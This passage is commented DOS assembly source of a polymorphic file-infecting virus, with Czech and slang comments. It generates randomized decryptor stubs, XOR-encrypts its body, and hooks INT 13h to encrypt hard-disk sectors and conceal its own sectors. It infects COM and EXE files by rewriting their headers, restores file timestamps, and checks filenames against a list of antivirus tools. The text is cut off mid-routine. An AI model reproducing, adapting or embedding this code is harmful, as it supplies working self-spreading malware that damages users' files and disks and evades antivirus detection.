;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Tohle nastavi spravny ModR/M a instrukce ....
; Deje se tove dvou fazich :
; 1. : m_?_i - a_?_i = nastavi se instrukce pracujici s xor_registrem
; 2. : m_i_? - c_i_? = nastavi se instrukce pracujici s index_registrem
; in : dl = random_number zavisejici na fazi
sub_0BA4	proc	near
loc_0BA4:
		lodsw
		xchg	di, ax
		mov	al, dl
		cmp	si, offset i_?_i - p
		jne	short loc_0BB6
		and	al, 5
		cmp	al, 1
		jne	short loc_0BC6
		mov	al, 7
loc_0BB6:
		cmp	si, offset a_?_i - p
		jne	short loc_0BC6
		mov	cl, 3
		shl	al, cl
		or	[di], al
		or	al, 0C7h
		jmp	short loc_0BCA
loc_0BC6:
		or	[di], al
		or	al, 0F8h
loc_0BCA:
		and	[di], al
		cmp	si, offset m_i_? - p
		je	short loc_ret_0BDA
		cmp	si, offset sub_0BA4 - p
		je	short loc_ret_0BDA
		jmp	short loc_0BA4

loc_ret_0BDA:
		retn
sub_0BA4	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz preparez decode_routine ...
sub_0BDB	proc	near
		mov	dx, 2
		call	random_number		; gimme random_number
		mov	byte ptr ds:[push_what - p], 0Eh; store push_cs
		or	dx, dx			; random_number nullovy ?
		jz	short loc_0BEF
		mov	byte ptr ds:[push_what - p], 16h; nope so store
						; push_ss
loc_0BEF:
		mov	si, offset m_?_i - p	; start with first_phaze
loc_0BF2:
		mov	dx, 8
		call	random_number		; gimme random_number
		cmp	dl, 4			; we don't need sp_reg
		je	loc_0BF2
		mov	bl, dl			; reg 2 bl
		call	sub_0BA4		; set instructionz etc.
		mov	si, offset m_i_? - p	; start with second_phaze
loc_0C05:
		mov	dx, 3
		call	random_number		; gimme random_number
		add	dl, 6
		cmp	dl, 8
		jne	short loc_0C15
		mov	dl, 3			; yope set bx_reg
loc_0C15:
		cmp	dl, bl			; xor_reg = index_reg ?
		je	loc_0C05
		call	sub_0BA4		; nope so set instr. etc.
		xor	cx, cx
		mov	di, offset decode_routine_table - p
loc_0C21:
		cmp	cx, 9			; jnz_instruction ?
		jne	short loc_0C40
loc_0C26:					; yope
						; it'z jnz disp8
						; so it must be in the range
						; 0 - 80h bytez
		mov	dx, 0C8h
		call	random_number		; gimme random_number
		sub	dx, 64h			; sub 0c8h / 2
		add	dx, ds:[xor_offset - p]	; add xor_offset
		cmp	dx, 0			; less than 0 ?
		jl	loc_0C26
		cmp	dx, ds:[max_number - p]	; more or same than max_number?
		jge	loc_0C26
		jmp	short loc_0C46
loc_0C40:
		db	0bah			; mov	dx, ?
max_number	dw	466h			; random_max iz max_number
		call	random_number		; gimme random_number
loc_0C46:
		jcxz	short loc_0C5F		; first timez here ?
		mov	si, offset decode_routine_table - p
		push	cx			; nope
locloop_0C4C:					; so go2 cur_instr and check
						; 4 distancez
		lodsw
		sub	ax, dx			; check 4 distance
		cmp	ax, 0Ah			; more or same than 0ah bytez ?
		jge	loc_0C5C
		cmp	ax, 0FFF6h		; less or same than 0ah bytez ?
		jle	loc_0C5C
		pop	cx			; nope ! get another random_#
		jmp	loc_0C21
loc_0C5C:					; yope
		loop	locloop_0C4C		; so go2 next insrt
		pop	cx			; last_one
loc_0C5F:
		xchg	dx, ax			; random_number 2 ax
		stosw				; store it 2 decode_...
		inc	cx			; inc counter
		cmp	cx, 0Ah			; less than 0ah (10 piecez) ?
		jb	loc_0C21
						; nope = decode_routine_table
						; initialized ...
		mov	bx, offset decode_routine_table - p
		mov	si, offset instr_start - p
loc_0C6D:
		mov	di, offset instr_buffer - p
		lodsb				; read instr_length
		mov	cl, al			; instr_length 2 cx
		mov	dx, 8			; u_instr 2 dx
		sub	dx, cx			; sub it
		mov	ax, [bx+2]		; gimme next_d_entry_offset
						; if jnz_instr next iz
						; viruz_beginning ...
		sub	ax, [bx]		; sub from it cur_d_entry
		cmp	ax, 0Ah			; distance 0ah ?
		jne	short loc_0C8B
		inc	dx			; inc u_instr (we don't need
		inc	dx			; jmp_instr ...)
		call	sub_0B72
		inc	bx			; go2 next decode_routine_
		inc	bx			; _offset
		jmp	short loc_0CB5		; and go on
loc_0C8B:					; nope
		call	random_number		; gimme random_number
		call	sub_0B72		; copy instruction 2 buffer ...
		mov	dx, di			; gimme instr_buffer_offset
		sub	dx, offset three_bytez - p; sub ofs instr_buffer - 3
		add	dx, [bx]		; add cur_d_entry
		mov	al, 0E9h		; far_jmp 2 al
		stosb				; store it
		inc	bx			; go2 next_entry
		inc	bx
		mov	ax, [bx]		; gimme it
		sub	ax, dx			; sub it
		cmp	ax, 7Eh			; distance more than 7eh ?
		jg	short loc_0CB4
		cmp	ax, 0FF7Fh		; distance less than 0ff7fh ?
		jl	short loc_0CB4
		inc	ax			; nope inc distance (jmp_short
						; only 2 bytez ...)
		mov	byte ptr [di-1], 0EBh	; store rather jmp_short
		stosb				; store disp8
		jmp	short loc_0CB5		; and go on
loc_0CB4:					; yope
		stosw				; store disp16
loc_0CB5:
		push	bx
		push	cx
		db	0b9h			; mov	cx, 0
mov_cx_?_	dw	0			; gimme file_pointer
		db	0bah			; mov	dx, 13h
mov_dx_?_	dw	13h
		add	dx, [bx-2]		; add decode_table_entry
		adc	cx, 0			; (the current)
		push	cx
		push	dx
		call	sub_0E63		; go2 f_ptr
		mov	cx, 0Ah			; read 0ah bytez
		db	0bah			; mov	dx, ?
buffer_offset	dw	0a4h			; 2 [buffer_offset]
		add	ds:[buffer_offset - p], cx; go2 next_buffer_offset_entry
		call	f_read_
		pop	dx
		pop	cx
		jc	short loc_0CE6		; error ?
		call	sub_0E63		; go back 2 f_ptr
		xchg	cx, di			; cur_instr_buffer_offset 2 cx
		mov	dx, offset instr_buffer - p; sub offset instr_buffer
		sub	cx, dx			; sub it 2 get instr_size
		call	f_write_		; and write it ...
loc_0CE6:
		pop	cx
		pop	bx
		jc	short loc_ret_0CF3	; error ?
		db	81h,0FBh		; cmp bx, offset beginning_ofs - p
		dw	offset beginning_ofs - p
		jnc	short loc_ret_0CF3	; last decode_routine_entry ?
		jmp	loc_0C6D		; nope so go on ...

loc_ret_0CF3:					; yope
		retn				; so end ...
sub_0BDB	endp

; Duvod presunu do buffer :
; pri zapisu viruz_body do souboru se viruz_body cryptuje, a proto
; musi bejt int_13h a crypt_rutina a rutina co to zapisuje do filu
; mimo dosah crypt_rutiny ...
presun_rutiny:
		mov	cx, offset buffer - p	; gimme size 2 write
		xor	dx, dx			; start with offset null
		call	sub_0D12		; crypt_ it
		mov	ah, 40h			; write crypted_ viruz_body
		mov	bx, ds:[handle - p]	; 2 file; gimme handle
		pushf				; and
		db	9Ah			; call far ptr old_int_21h
old_int_21h	dw	0, 0
		jc	short loc_0D0C		; error ?
		cmp	ax, cx			; written_&_wanted the same ?
loc_0D0C:
		pushf				; push flagz
		call	sub_0D12		; decrypt_ viruz_body
		popf				; restore flagz
		retn				; and end ...

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz cryptz_ viruz_body
sub_0D12	proc	near
		push	cx
		mov	si, dx			; gimme viruz_start_offset
		db	0b8h			; mov	ax, 0
crypt_viruz	dw	0			; gimme init_crypt_vale
		mov	cx, offset buffer - p	; gimme viruz_size

locloop_0D1B:
		xor	[si], ax		; crypt_it
		db	05h			; add	ax, ?
next_crypt_value	dw	0		; go2 next_crypt_value
		inc	si			; go2 next viruz_byte
		loop	locloop_0D1B		; and go on

		pop	cx
		retn				; and end ...
sub_0D12	endp

new_int_24h:
		mov	al, 3
		iret

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz callz old_int_13h
sub_0D28	proc	near
		pushf
		call	dword ptr cs:[old_int_13h - p__]
		retn
sub_0D28	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz getz cylinder_number in si
sub_0D2F	proc	near
		push	cx
		push	dx
		shr	cl, 1
		shr	cl, 1
		and	dh, 0C0h
		or	dh, cl
		mov	cl, 4
		shr	dh, cl
		mov	dl, ch
		xchg	si, dx
		pop	dx
		pop	cx
		retn
sub_0D2F	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz cryptz_ a buffer
crypt_		proc	near
		push	ax
		push	bx			; push regz
		push	cx
		db	0b0h			; mov	al, ?
secz_count	db	0			; gimme secz_count
		db	0bbh			; mov	bx, ?
buf_ptr		dw	0			; gimme buf_ptr
loc_0D4D:
		mov	cx, 100h		; do it 256*
						; (in wordz)
locloop_0D50:
		db	26h, 81h, 37h		; xor	word ptr es:[bx], ?
crypt_value	dw	2b50h			; xor word ...
		inc	bx			; go2 next_word in buffer
		inc	bx
		loop	locloop_0D50		; and go on

		dec	al			; dec secz_count
		jnz	loc_0D4D		; last one ?
		pop	cx			; yope
		pop	bx			; restore regz
		pop	ax
		retn				; and end ...
crypt_		endp


new_int_13h:
		cmp	ah, 2			; read sector(z) ?
		je	short loc_0D6E
		cmp	ah, 3			; write sector(z) ?
		je	short loc_0D6E
		jmp	loc_0E50		; nope so end
loc_0D6E:
		cmp	dx, 80h			; 0.head, first_harddisk ?
		jne	short loc_0DE0
		test	cx, 0FFC0h		; cylinder nullovej ?
		jnz	short loc_0DE0
		push	bx			; ok it could be work with
		push	dx			; partition_table or with
		push	si			; viruz_body
		push	di
		push	cx
		push	cx
		mov	si, ax			; gimme ax_reg
		and	si, 0FFh		; gimme secz_2_work
		mov	di, si
		mov	al, 1
		push	ax
		jz	short loc_0DBB		; secz_2_work nullovy ?
		jcxz	short loc_0DDB		; sec_number nullovy ?
		cmp	cl, 1			; work with parition_table ?
		je	short loc_0DCD
loc_0D94:					; nope so it could be viruz
		db	80h, 0f9h		; body
max_sektor	db	11h			; cmp	cl, ?
		ja	short loc_0DDB		; are we in the range
		db	80h, 0f9h		; cmp	cl, ?
partition_sec_n	db	0ah			; where'z viruz_body ?
		jb	short loc_0DD2
		cmp	ah, 3			; yope = writing ?
		je	short loc_0DDB		; (end_with error)
		push	bx
		mov	cx, 200h		; do it 512*

locloop_0DA7:
		mov	byte ptr es:[bx], 0	; store null
		inc	bx			; inc buffer_ptr
		loop	locloop_0DA7		; and go on ...

		pop	bx
loc_0DAF:
		add	bx, 200h		; go2 next_sec_in_buffer
		pop	ax
		pop	cx
		inc	cx			; inc sec_number
		push	cx
		push	ax
		dec	si			; dec secz_2_work
		jnz	loc_0D94		; nullovy ?
loc_0DBB:
		clc
loc_0DBC:					; yope
		pop	ax			; restore ax_reg
		pushf
		xchg	di, ax			; secz_2_work 2 ax
		sub	ax, si			; sub secz_that_weren't_read
		popf
		mov	ah, ch			; error number 2 ah
		pop	cx
		pop	cx
		pop	di			; restore regz
		pop	si
		pop	dx
		pop	bx
		retf	2			; and end ...
loc_0DCD:
		mov	cl, byte ptr cs:[partition_sec_n - p__]	; yope
						; so gimme parition_table_sec
loc_0DD2:
		call	sub_0D28		; write or read it
		mov	ch, ah			; gimme possible_error_number
		jc	loc_0DBC		; error ?
		jmp	short loc_0DAF		; nope = go on
loc_0DDB:					; yope
		stc				; so set up error_flag
		mov	ch, 0BBh		; and error_number 2 ch
		jmp	short loc_0DBC		; (undefined_error)
loc_0DE0:					; nope
		cmp	dl, 80h			; it'z first_harddisk ?
		jne	short loc_0E50
		push	ax
		push	cx
		push	dx
		push	si			; push regz
		push	ds
		push	cs
		pop	ds
		mov	byte ptr ds:[secz_count - p__], 0	; store null
		mov	word ptr ds:[buf_ptr - p__], bx	; store bx
		call	sub_0D2F		; gimme cylinder_number
		and	cl, 3Fh			; voklesti sector
		and	dh, 3Fh			; voklesti head
loc_0DFE:
		or	al, al			; secz_2_work nullovy ?
		jz	short loc_0E31
		db	81h, 0feh		; cmp	si, ?
max_cyl_number	dw	265h			; are we in the range
		jae	short loc_0E31		; where'z harddisk
		db	81h, 0feh		; cmp	si, ?
cur_cyl_number	dw	1234h			; crypted_ ?
		jb	short loc_0E14
		inc	byte ptr ds:[secz_count - p__]	; yope inc secz_count
		jmp	short loc_0E1A
loc_0E14:
		add	word ptr ds:[buf_ptr - p__], 200h; go2 next_sec_in_buf
loc_0E1A:
		dec	al			; dec secz_2_work
		inc	cl
		db	80h, 0f9h		; cmp	cl, ?
max_sektor_2	db	11h			; sector in range ?
		jbe	loc_0DFE
		mov	cl, 1			; nope so sector 2 1
		inc	dh			; and inc head
		db	80h, 0feh		; cmp	dh, ?
max_heads	db	07h			; head in range ?
		jbe	loc_0DFE
		xor	dh, dh			; nope so head 2 null
		inc	si			; and inc cylinder
		jmp	short loc_0DFE		; and go on
loc_0E31:					; yope
		cmp	byte ptr ds:[secz_count - p__], 0; must we (un)crypt_
		pop	ds			; something ?
		pop	si			; restore regz
		pop	dx
		pop	cx
		pop	ax
		jz	short loc_0E50
		cmp	ah, 2			; yope; read ?
		je	short loc_0E45
		call	crypt_			; nope write; crypt_ it
loc_0E45:
		call	sub_0D28		; do it
		pushf
		call	crypt_			; and uncrypt_ it
		popf
		retf	2
loc_0E50:					; end ...
		db	0EAh			; jmp far ptr old_int_13h
old_int_13h	label	near


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz writez 2 file ...
f_write_	proc	near
		mov	ah, 40h
		jmp	$ + 4
f_write_	endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz readz from file ...
f_read_	proc	near
		mov	ah, 3Fh			; '?'
		call	sub_0E6F
		jc	short loc_ret_0E5E
		cmp	ax, cx

loc_ret_0E5E:
		retn
f_read_	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz call f_ptr fc
sub_0E5F	proc	near
		xor	cx, cx
		mov	dx, cx
sub_0E63:
		mov	ax, 4200h
		jmp	short loc_0E6F
sub_0E68:
		xor	cx, cx
		mov	dx, cx
sub_0E6C:
		mov	ax, 4202h
sub_0E6F:
loc_0E6F:
		mov	bx, word ptr cs:[handle - p]

; Diz call old_int_21h
int_21h:
		pushf
		cli
		call	dword ptr cs:[old_int_21h - p__]
		retn
sub_0E5F	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz infectz the file ...
sub_0E7C	proc	near
		mov	bp, sp
		mov	ax, 5700h		; gimme file_time_&_date
		call	sub_0E6F
		mov	bx, offset file_time_date - p
		mov	[bx], cx		; store time_stamp
		mov	[bx+2], dx		; store date_stamp
		call	sub_1157		; file already infected ?
		jc	short loc_0F0A
		mov	dx, 1Eh
		call	random_number		; gimme random_number
		or	dx, dx			; nullovy ?
		jz	short loc_0E9D
		mov	[bx], ax		; nope so store new_time_stamp
loc_0E9D:
		mov	word ptr ds:[buffer_offset - p], offset overwritten_bytez - p
		mov	dx, 0FFFFh
		push	dx
		call	random_number		; gimme random_number
		mov	ds:[crypt_viruz_value - p], dx	; store it
		mov	ds:[crypt_viruz - p__], dx	; store it
		pop	dx
		call	random_number		; gimme next_random_number
		mov	ds:[next_crypt_value_ - p], dx	; store it
		mov	ds:[next_crypt_value - p__], dx	; store it
		call	sub_0E5F		; go2 sof
		mov	cx, 1Ah			; read 1ah_bytez
		mov	dx, offset file_buffer - p; 2 file_buffer
		push	dx			; (exe_hdr or 3bytez from com)
		call	f_read_			; read it
		jc	short loc_0F24		; error ?
		xchg	si, dx			; move these
		mov	di, offset exe_header - p
		rep	movsb			; bytez
		call	sub_0E68		; go2 eof
		mov	si, ax			; size in ax : dx
		mov	di, dx			; 2 si : di
		pop	bx
		cmp	word ptr [bx], 4D5Ah	; 'MZ' ?
		je	short loc_0EFA		; it'z exe_file ?
		cmp	word ptr [bx], 5A4Dh	; 'ZM' ?
		je	short loc_0EFA		; it'z exe_file ?
		mov	byte ptr ds:[exe_flag - p], 0; nope = clear exe_flag
		cmp	ax, 0EFA6h		; file not 2 big ?
		cmc
		jc	short loc_0F24
		mov	ax, 3			; nope
		cwd				; nulluj dx_reg
		push	bx
		jmp	short loc_0F16
loc_0EFA:
		mov	byte ptr ds:[exe_flag - p], 1	; set up exe_flag
		mov	ax, [bx+4]		; gime page_cnt
		mul	word ptr ds:[page_size_ - p]	; mul it with page_size
		sub	ax, si
		sbb	dx, di
loc_0F0A:
		jc	short loc_0F24
		mov	ax, [bx+8]		; gimme hdr_size
		mul	word ptr ds:[hdr_size_ - p]	; mul it with hdr_size
		push	bx
		push	ax
		push	dx
loc_0F16:
		sub	si, ax			; sub hdr_size
		sbb	di, dx			; or 3 bytez 4 far_jmp
		or	di, di			; file bigger than 0ffffh bytez ?
		jnz	short loc_0F2C
		mov	dx, si			; nope
		sub	dx, 3E8h		; so check whether the file
loc_0F24:					; iz not 2 small
		jc	short loc_0F98
		cmp	dx, 7D0h		; size less than 7d0h ?
		jbe	short loc_0F2F
loc_0F2C:
		mov	dx, 7D0h		; set max_number 2 7d0h
loc_0F2F:
		call	random_number		; gimme random_number
		add	dx, 3E8h		; add 7d0h / 2
		mov	ds:[viruz_start - p], dx	; store viruz_start
		add	dx, offset buffer - p + 280h	; add dx viruz_size
							; + space 4 stack
		cmp	byte ptr ds:[exe_flag - p], 0	; exe_file ?
		je	short loc_0F49
		mov	ds:[file_buffer - p + 10h], dx	; yope store new exe_sp
loc_0F49:
		add	dx, 0FD80h		; sub 280h
		mov	ds:[viruz_end - p], dx	; store viruz_end
		add	dx, 0 - (offset buffer - offset loc_08d1)
		mov	ds:[beginning_ofs - p], dx; store beginning_ofs
		add	dx, 0 - (offset loc_08d1 - offset loc_0582) - 9
		mov	ds:[max_number - p], dx	; store max_number
		add	dx, 8			; add 8 (viz up - 9 ...)
		not	dx			; make signed_number
		mov	cx, 0FFFFh		; the f_ptr functionz
						; are signed
						; so it will sub from the eof
						; cx : dx ...
		call	sub_0E6C
		mov	ds:[mov_cx_?_ - p], dx	; store new_file_poz
		mov	ds:[mov_dx_?_ - p], ax	; as a base ...
		cmp	byte ptr ds:[exe_flag - p], 0	; com_file ?
		jne	short loc_0F81
		xchg	dx, ax			; gimme base
		add	dx, 100h		; add 100h
		jmp	short loc_0F8B		; and go on
loc_0F81:
		pop	di
		pop	si
		sub	ax, si			; count base_addr
		sbb	dx, di
		div	word ptr ds:[hdr_size_ - p]
loc_0F8B:
		add	ds:[viruz_start - p], dx; add base
		add	ds:[viruz_end - p], dx	; add base
		push	ax
		push	dx
		call	sub_0BDB		; ok now prepare decode_rout...
loc_0F98:
		jc	short loc_0FFE		; error ?
		pop	dx			; and now add base
		pop	ax			; 2 decode_routine_table_
		mov	cx, 0Ah			; _entryz ...
		mov	si, offset decode_routine_table - p

locloop_0FA2:
		add	[si], dx		; add base
		inc	si			; go2 next_entry
		inc	si
		loop	locloop_0FA2		; and go on ...

		pop	bx
		cmp	byte ptr ds:[exe_flag - p], 0	; com_file ?
		jne	short loc_0FD0
		mov	byte ptr [bx], 0E9h	; store far_jump
		mov	ax, ds:[decode_routine_table - p]; gimme jump_offset
		sub	ax, 103h		; sub 103h (100h PSP and 03h
						; far_jmp)
		mov	[bx+1], ax		; store it
		mov	word ptr ds:[relo_cnt - p], 0; store relo_cnt
		mov	word ptr ds:[relo_cs - p], 0FFF0h; store relo_cs
		mov	word ptr ds:[exe_ip - p], 100h; store exe_ip
		jmp	short loc_0FF7		; and go on
loc_0FD0:					; nope exe_file
		mov	[bx+16h], ax		; store relo_cs
		mov	[bx+0Eh], ax		; store relo_ss
		mov	ax, ds:[decode_routine_table - p]; gimme starting_ofs
		mov	[bx+14h], ax		; store exe_ip
		add	[bx+10h], dx		; add it 2 exe_sp
		mov	word ptr [bx+6], 0	; nulluj relo_cnt
		mov	ax, 28h			; my_min_mem 2 ax
		cmp	[bx+0Ah], ax		; compare it with min_mem
		jae	short loc_0FEF		; more ?
		mov	[bx+0Ah], ax		; yope so store my_min_mem
loc_0FEF:
		cmp	[bx+0Ch], ax		; compare it with max_mem
		jae	short loc_0FF7		; more ?
		mov	[bx+0Ch], ax		; yope so store my_max_mem
loc_0FF7:
		push	bx
		call	sub_0E68		; go2 eof
		db	0e8h			; call presun_rutiny (
						; viruz_body_crypt_&_write)
		dw	offset presun_rutiny - presun_rutiny + buffer - next___
next___		label	near			; crypt_ it and write it
loc_0FFE:
		jc	short loc_1031
		call	sub_0E68		; go2 eof
		div	word ptr ds:[page_size_ - p]	; div new_file_size
		inc	ax			; 2 count pagez
		pop	bx
		cmp	byte ptr ds:[exe_flag - p], 0	; exe_file ?
		je	short loc_1016
		mov	[bx+4], ax		; store new page_cnt
		mov	[bx+2], dx		; store new part_pag
loc_1016:
		push	bx
		call	sub_0E5F		; go2 sof
		mov	cx, 1Ah
		pop	dx
		call	f_write_		; write new_exe_header 2 file
		jc	short loc_1031		; error ?
		mov	ax, 5701h		; set back file_time_date
		mov	cx, ds:[file_time_date - p]	; gimme time_stamp
		mov	dx, ds:[file_time_date - p + 2]	; gimme date_stamp
		call	sub_0E6F		; set it
loc_1031:
		mov	sp, bp
		retn				; and end ...
sub_0E7C	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz setz my own error_handler
sub_1034	proc	near
		push	dx
		push	ds
		push	cs
		pop	ds
		mov	ax, 3524h		; gimme old_int_24h
		call	int_21h
		mov	ds:[old_int_24h - p + 2], es	; store it
		mov	ds:[old_int_24h - p], bx
		mov	ax, 2524h		; and set my own
		mov	dx, offset new_int_24h - p__	; handler
		call	int_21h
		pop	ds
		pop	dx
		retn				; and end ...
sub_1034	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz setz back old_int_24h
sub_1052	proc	near
		mov	ax, 2524h
		lds	dx, dword ptr cs:[old_int_24h - p]; gimme old_int_24h
		call	int_21h			; set it back
		retn				; and end ...
sub_1052	endp

_com_		db	04h, '.COM'		; offset 105eh
_exe_		db	04h, '.EXE'		; offset 1063h
_scan_		db	04h, 'SCAN'		; offset 1068h
_clean_		db	05h, 'CLEAN'		; offset 106dh
_findviru_	db	08h, 'FINDVIRU'		; offset 1073h
_guard_		db	05h, 'GUARD'		; offset 107ch
_nod_		db	03h, 'NOD'		; offset 1082h
_vsafe_		db	05h, 'VSAFE'		; offset 1086h
_msav_		db	04h, 'MSAV'		; offset 108ch
_chkdsk_	db	06h, 'CHKDSK'		; offset 1091h
		
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
; Diz checkz the file_name and drive ...
sub_1098	proc	near
		push	dx
		push	bx
		push	cx
		push	si
		push	di			; push regz
		push	ds
		push	es
		push	ax
		mov	si, dx			; gimme file_name_offset
		mov	di, name_buffer - p	; gimme buffer where 2 store
		push	cs
		pop	es
		lea	bx, [di-1]
		mov	cx, 4Bh			; try it 4bh*

locloop_10AD:
		lodsb				; read byte
		cmp	al, 61h			; 'a'
		jb	short loc_10B8		; low_case ?
		cmp	al, 7Ah			; 'z'
		ja	short loc_10B8
		sub	al, 20h			; yope so make high_case
loc_10B8:
		push	ax
		push	si
loc_10BA:					; nope
		cmp	al, 20h			; space ?
		jne	short loc_10C7
		lodsb				; read byte
		or	al, al			; null ?
		jnz	loc_10BA
		pop	si			; yope
		pop	si
		jmp	short loc_10D7		; end ...
loc_10C7:
		pop	si
		pop	ax
		cmp	al, 5Ch			; '\'
		je	short loc_10D5
		cmp	al, 2Fh			; '/'
		je	short loc_10D5
		cmp	al, 3Ah			; ':'
		jne	short loc_10D7
loc_10D5:
		mov	bx, di			; store offset 2 bx
loc_10D7:
		stosb				; store byte
		or	al, al			; null ?
		jz	short loc_10DE
		loop	locloop_10AD		; and go on

loc_10DE:					; yope
		mov	si, offset _com_ - p	; check 4 .COM or .EXE
		sub	di, 5			; sub 5 (.XXX, 0)
		push	cs
		pop	ds
		call	sub_1149		; it'z .COM ?
		jz	short loc_10F0
		call	sub_1149		; it'z .EXE ?
		jnz	short loc_113C
loc_10F0:					; yope
		pop	ax
		push	ax
		xchg	di, bx			; gimme file_name_offset
		inc	di			; inc it (/, \, or : ...)
		cmp	ax, 4B00h		; fc run file ?
		jne	short loc_1107
		mov	si, offset _chkdsk_ - p
		call	sub_1149		; do we run CHKDISK ?
		jnz	short loc_1107
		mov	byte ptr ds:[fcb_jmp_ - p], offset loc_121a - (fcb_jmp_ + 1)
					; yope so turn off fcb_sub_viruz_size
loc_1107:
		mov	cx, 7			; check 4 7 antivirusez
		mov	si, offset _scan_ - p	; start with SCAN

locloop_110D:
		push	cx
		call	sub_1149		; compare name
		pop	cx
